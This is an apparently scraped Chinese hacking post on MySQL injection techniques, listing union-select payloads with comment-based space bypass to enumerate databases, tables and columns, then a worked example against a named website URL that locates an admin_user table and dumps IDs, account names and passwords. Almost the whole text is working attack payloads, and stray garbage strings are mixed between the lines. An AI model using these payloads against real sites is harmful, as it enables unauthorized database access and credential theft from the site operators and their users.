mysql注入技巧

admin

查库

/ a' H% o, m, [( \9 p! n9 G7 vid=-1 union select 1,..,SCHEMA_NAME,n  from/**/information_schema.SCHEMATA limit 1,1/*

; y0 j: |7 f$ p" [% b: f4 X  @查表
* v, }3 i0 @8 J( k$ _
id=-1/**/union/**/select/**/1,TABLE_NAME,N/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=库的HEX值/**/limit/**/1,1
, S- w/ d8 q4 E$ F  ~
1 o' ?1 ]& ~+ j) W" F4 [' P查段

# T8 a0 L2 q* b  p" K' D0 a8 \id=-1/**/union/**/select/**/1,COLUMN_NAME,N/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=表的HEX值/**/limit/**/1,1
  T  F8 F9 e9 b+ p7 R6 @- Y

mysql5高级注入方法暴表
6 A3 F* O: l, e0 f5 r9 H8 ?! f
例子如下:
7 ^# J& k3 C: Y
1.爆表
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,TABLE_NAME,5/**/From/**/information_schema.TABLES/**/Where/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*    (0x79645F7465616D6E6574为数据库名的16进制转换yd_teamnet)
这样爆到第4个时出现了admin_user表。
9 ^1 a/ `; a; N6 O
. E+ H8 }$ X+ C. Z! I  p& W: Z2.暴字段
http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,COLUMN_NAME,5/**/From/**/information_schema.COLUMNS/**/Where/**/TABLE_NAME=0x61646D696E5F75736572/**/And/**/TABLE_SCHEMA=0x79645F7465616D6E6574/**/limit/**/0,1/*

) t; ]" c5 u. r* o7 N
7 b' g, U4 @  O7 j. l3.爆密码
/ m) y7 H( d$ R: @http://www.political-security.com/ccaus_content.php?ccausid=13240/**/and/**/1=2/**/union/**/select/**/1,2,3,concat(0x7c,ID,0x7c,ACCOUNT,0x7c,PASSWORD,0x7c),5/**/From/**/admin_user/**/limit/**/0,1/*